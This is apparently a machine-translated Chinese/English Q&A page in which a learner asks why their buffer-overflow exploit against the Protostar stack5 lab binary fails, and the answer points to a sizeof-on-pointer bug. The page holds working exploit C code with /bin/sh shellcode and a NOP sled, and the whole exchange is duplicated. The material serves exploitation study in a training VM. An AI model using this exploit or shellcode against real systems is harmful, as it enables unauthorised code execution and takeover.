简单的缓冲区溢出漏洞利用不起作用
Simple buffer overflow exploit doesn't work
我试图重现 Hacking art of exploitation book. I tried it on the Stack5 exercise in Protostar vm 中用 C 语言编写的第一个缓冲区溢出漏洞利用,但没有成功。当然我适应了它,但我还是个新手所以我不知道我应该修复什么。这是漏洞利用代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
unsigned int i, ret, offset = 0;
char *command, *buffer;
command = (char *)malloc(200);
bzero(command, 200);
strcpy(command, "echo \'");
buffer = command + strlen(command);
if (argc > 1)
{
offset = atoi(argv[1]);
}
ret = (unsigned int)&i - offset;
printf("The choosed offset is %d\n", offset);
for (i = 0; i < 200; i += 4)
{
*((unsigned int *)(buffer + i)) = ret;
}
memset(buffer, 0x90, 26);
memcpy(buffer + 26, shellcode, sizeof(shellcode) - 1);
strcat(command, "\' | /opt/protostar/bin/stack5");
printf("The command is %s\n", command);
printf("The buffer is %x\n", buffer);
system(command);
return 0;
}
在此之前我尝试了 shellcode 并且它有效,所以这不是问题。
所以我做的第一件事就是启动 gdb 并调试我的代码。
这是调用 bzero 函数后我的 command
变量:
这是用于设置 return 变量的 for 循环之后的 command
变量(我知道地址不正确,但稍后我会修复):
这是我在放置 nop sled 后的 command
变量(到目前为止一切正常):
这是我放入shellcode后的command
变量(这里我找不到错误...):
我不知道为什么 shellcode 没有出现在 command
变量中它没有改变任何东西,除了 NOP sled 之后的一些字节。
我做错了什么?
What do I do wrong?
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
…
memcpy(buffer + 26, shellcode, sizeof(shellcode) - 1);
只是你把shellcode
定义为一个指针,在你的系统上它的大小是4个字节,所以只复制了3个字节;如果您改为定义数组,则会得到正确的大小:
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
我试图重现 Hacking art of exploitation book. I tried it on the Stack5 exercise in Protostar vm 中用 C 语言编写的第一个缓冲区溢出漏洞利用,但没有成功。当然我适应了它,但我还是个新手所以我不知道我应该修复什么。这是漏洞利用代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
unsigned int i, ret, offset = 0;
char *command, *buffer;
command = (char *)malloc(200);
bzero(command, 200);
strcpy(command, "echo \'");
buffer = command + strlen(command);
if (argc > 1)
{
offset = atoi(argv[1]);
}
ret = (unsigned int)&i - offset;
printf("The choosed offset is %d\n", offset);
for (i = 0; i < 200; i += 4)
{
*((unsigned int *)(buffer + i)) = ret;
}
memset(buffer, 0x90, 26);
memcpy(buffer + 26, shellcode, sizeof(shellcode) - 1);
strcat(command, "\' | /opt/protostar/bin/stack5");
printf("The command is %s\n", command);
printf("The buffer is %x\n", buffer);
system(command);
return 0;
}
在此之前我尝试了 shellcode 并且它有效,所以这不是问题。
所以我做的第一件事就是启动 gdb 并调试我的代码。
这是调用 bzero 函数后我的 command
变量:
这是用于设置 return 变量的 for 循环之后的 command
变量(我知道地址不正确,但稍后我会修复):
这是我在放置 nop sled 后的 command
变量(到目前为止一切正常):
这是我放入shellcode后的command
变量(这里我找不到错误...):
我不知道为什么 shellcode 没有出现在 command
变量中它没有改变任何东西,除了 NOP sled 之后的一些字节。
我做错了什么?
What do I do wrong?
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
…
memcpy(buffer + 26, shellcode, sizeof(shellcode) - 1);
只是你把shellcode
定义为一个指针,在你的系统上它的大小是4个字节,所以只复制了3个字节;如果您改为定义数组,则会得到正确的大小:
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";